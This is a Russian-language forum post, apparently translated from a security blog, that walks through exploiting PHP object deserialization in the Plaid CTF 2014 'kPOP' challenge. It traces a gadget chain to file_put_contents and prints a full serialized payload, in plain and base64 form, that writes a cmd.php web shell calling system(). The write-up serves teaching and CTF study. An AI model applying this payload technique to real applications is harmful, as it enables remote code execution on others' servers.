• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Исследование атак десериализации и их последствий

BLUA

CPU register
Пользователь
Регистрация
24.03.2022
Сообщения
1 189
Решения
1
Реакции
794
Источник: https://haymiz.dev/security/2024/09/07/deserialization-attacks/
Перевёл: BLUA специально для xss.pro

Ура!
Я взял короткий перерыв и вернулся с ново должностью в сфере безопасности.

Давайте сегодня обсудим, что такое десериализация, и приведём демонстрационный пример, так как это иногда может привести к удалённому выолнению кода(RCE), повышению привилегий и другим уязвимостям, которые могут серьёзно повлиять на всё приложение.

На этот раз я углубился в Интернет и обнаружил интересную задачу на десериализацию из Plaid CTF 2014, которая называется "kPOP challenge". Она поможет нам лучше понять эту уязвимость в этой статье.

Примечание: Эту задачу можно решить двумя разными подходами, чтобы достичь одного и того же результата. В этой статье мы выбрали один из них для представления.

1.png


Давайте начнём -

Приложения, в общем, часто зависят от обработки сериализованных данных для корректного функционирования. Важно проверить, как эти данные десериализуются, чтобы убедиться, что это происходит безопасно. Как злоумышленники или исследователи, мы сосредотачиваемся на случаях, когда данные десериализуются без надлежащей проверки или когда сериализованному вводу доверяют напрямую. Эти возможности десериализации, известные как skins, могут возникать в специфических функциях, таких как unserialize() и serialize(), которые зависят от пользовательского ввода.

Как только мы поймём, что именно ищем, давайте более внимательно изучим исходный код приложения:

Первым шагом является выявление классов PHP, используемых в приложении, и изучении их взаимосвязей и взаимодействий. Это можно легко сделать, используя сочетания клавиш CTRL+SHIFT+F в Visual Sudio Code.

2.png


Чтобы лучше понять взаимосвязи между классами kPOP более наглядно, мы можем создать диаграмму UML на основе вышеупомянутых свойств классов, используя PlantUML Editor. Эта диаграмма представляет структуру и дизайн системы, иллюстрируя различные классы и их взаимосвязи, включая наследование, ассоциации и зависимости:

3.png


Как только у нас будет базовое понимание взаимосвязей классов, давайте сосредоточимся на соответствующих обработчиках, которые занимаются сериализацией на основе данных, предоставленных пользователем.

Используя тот же метод в VSCode, давайте найдём все вхождения функции unserialize в коде:

4.png


Результаты поиска показывают три разных вхождения, распределённых по двум файлам:
  • classes.php
  • import.php
Мы видим, что некоторые вхождения serialize зависят от результатов SQL(например, $row[0]), которые не зависят от пользовательского ввода. Однако другие случаи выглядят для нас более перспективно.

Мы сосредоточимся на файле import.php:

5.png


Который вынлядит так в пользовательском интерфейсе браузера:

6.png


Объекты класса сразу десериализуются, как только вызывается функция unserialize. Мы можем использовать строку 5 на изображениии выше, чтобы внедрить наш вредоносный объект класса, что будет продемонстрировано позже в этой статье.

На этом этапе у нас есть точка входая для инъекции, которая зависит от предоставленного параметра $_POST['data'] и сериализуется. Давайте теперь более подробно рассмотрим сами объявления классов.

При изучении кода функция, которая сразу привлекла моё внимание - это file_put_contents внутри функции writeLog, расположенной в классе LogWriter_File в файле classes.php.

7.png


Чтобы лучше понять его использование, я обратился к странице документации на PHP.net:

8.png


Эта функция может стать нашим первым примитивом для поиска способа записи вредоносного файла в файловую систему веб-сервера, который может служить веб-шеллом для выполнения команд оболочки!

Таким образом, если мы можем контролировать имя файла, записываемого на диск(например, cmd.php), и его содержимое, мы можем записать PHP-код, такой как функция system(), чтобы выполнить любую команду, которую мы захотим.

Нам нужно помнить об этом, когда мы будем выстраивать взаимосвязи между всеми другими классами, словно решая головоломку, чтобы успешно пройти по этому пути и создать наш финальный вредоносный объект класса 😈.

Короче говоря, когда объект класса внедряется, он начинает выполнять так называемые магические методы. Эти методы следуют соглашению об именах с двойными ведущими и завершающими символами подчёркивания, такими как __construct() или __destruct(). Нам нужно проанализировать эти методы, чтобы определить, какие классы их реализуют, так как они бдут запускать выполнение нашего объекта.

Продолжим. Чтобы контролировать записываемое имя файла, нам нужно определить, какой класс содержит это имя файла в качестве переменной, и получить над ни контроль в нашем объекте класса. Это показано на следующем изображении:

9.png


LogWriter_File - это соответствующий класс. В объявлении класса мы можем увидеть, что переменная $filename устанавливается в нужное нам имя файла внутри конструктора LogWriter_File(см. изображение "Объявление LogWriter_File").

На том же изображении мы также можем увидеть, что содержимое файла сохраняется в параметре $txt внутри функции writeLog класса LogWriter_File.

Содержимое $txt контролируется выполнением функции lof() внутри класса Song, которая состоит из объединения свойств name и group класса $ong.

Чтобы управлять как именем файла, так и его содержимым с помощью функции file_put_contents, нам необходимо следовать порядку вызовов классов и определить, где и кем вызывается функция writeLog.

Давайте проиллюстрируем это на следующем изображении:

10.png


Мы можем видеть, что класс Song является тем, который инициирует всю последовательность вызовов к нашей желаемой функции file_put_contents.

Подводя итог тому, что мы рассмотрели:
  1. Нам нужно использовать функциональность file_put_contents, чтобы записать веб-оболочку.
  2. Нам нужно инициализировать переменную $filename в классе LogWriter_File значением cmd.php.
  3. Нам нужно вставить наш вредоносный PHP-код в качестве содержимого файла cmp.php, который будет вызван функцией writeLog.
  4. Наконец, нам нужно вызвать правильный порядок следования классов в нашей конечной полезной нагрузке, как показано выше.
11.png

Надпись на картинке: "И вот здесь, мой друг, происходит вся магия!"

Давайте соберём все части вместе, чтобы создать полезную нагрузку в виде одного большего сериализованного объекта.

Код:
O:6:"Lyrics":2:{s:9:"*lyrics";s:12:"shell_lyrics";s:7:"*song";O:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";s:7:"cmd.php";s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:19:"/\[i\](.*)\[\/i\]/i";s:14:"*replacement";s:9:"<i>\1</i>";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:35:"<?php system('ls -l; cat flag'); ?>";s:8:"*group";s:11:"shell_group";s:6:"*url";s:19:"https:\/\/shell.com";}}

Обратите внимание на строку s:11."*filename";s:7"cmd.php";, которая представляет наше вредоносное имя файла с расширением .php, и на строку s:7:"*name";s:35:"<?php system('ls -l; cat flag'); ?>";, которая представляет нашу PHP функцию system() для выполнения команд оболочки.

Окончательная сериализованная полезная нагрузка, которая будет внедрена в качестве параметра HTTP POST в формате base64, будет следующей:

Код:
Tzo2OiJMeXJpY3MiOjI6e3M6OToiACoAbHlyaWNzIjtzOjEyOiJzaGVsbF9seXJpY3MiO3M6NzoiACoAc29uZyI7Tzo0OiJTb25nIjo0OntzOjk6IgAqAGxvZ2dlciI7Tzo2OiJMb2dnZXIiOjE6e3M6MTI6IgAqAGxvZ3dyaXRlciI7TzoxNDoiTG9nV3JpdGVyX0ZpbGUiOjI6e3M6MTE6IgAqAGZpbGVuYW1lIjtzOjc6ImNtZC5waHAiO3M6OToiACoAZm9ybWF0IjtPOjEzOiJMb2dGaWxlRm9ybWF0IjoyOntzOjEwOiIAKgBmaWx0ZXJzIjthOjE6e2k6MDtPOjEyOiJPdXRwdXRGaWx0ZXIiOjI6e3M6MTU6IgAqAG1hdGNoUGF0dGVybiI7czoxOToiL1xbaVxdKC4qKVxbXC9pXF0vaSI7czoxNDoiACoAcmVwbGFjZW1lbnQiO3M6OToiPGk+XDE8L2k+Ijt9fXM6NzoiACoAZW5kbCI7czoxOiIKIjt9fX1zOjc6IgAqAG5hbWUiO3M6MzU6Ijw/cGhwIHN5c3RlbSgnbHMgLWw7IGNhdCBmbGFnJyk7ID8+IjtzOjg6IgAqAGdyb3VwIjtzOjExOiJzaGVsbF9ncm91cCI7czo2OiIAKgB1cmwiO3M6MTk6Imh0dHBzOlwvXC9zaGVsbC5jb20iO319

Мы можем использовать Online PHP Unserializer2, чтобы визуализировать закодированную полезную нагрузку в иерархии объектов класса:

12.png


И наконец, господа, музыка - пора выполнить нашу вредоносную сериализованную полезную нагрузку на странице import.php!

13.png


Файл cmd.php был создан, раскрывая флаг задачи и выполнение нашей команды ls -l!

14.png


Заключение

В этой статье мы представили задачу десериализации, которая демонстрирует, как злоумышленники могут использовать её для захвата всего приложения.

Эти атаки имеют довольно высокий порог входа и требуют сильных навыков программирования и исследования, что делает их одной из самых сложных уязвимостей для выявления в веб-приложениях. Однако, как только они обнаружены, их последствия могут быть крайне серьёзными.

Надеюсь, вы узнали что-то новое, что можно добавить в свой арсенал уязвимостей, на которые стоит обращать внимание во время проверок кода.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх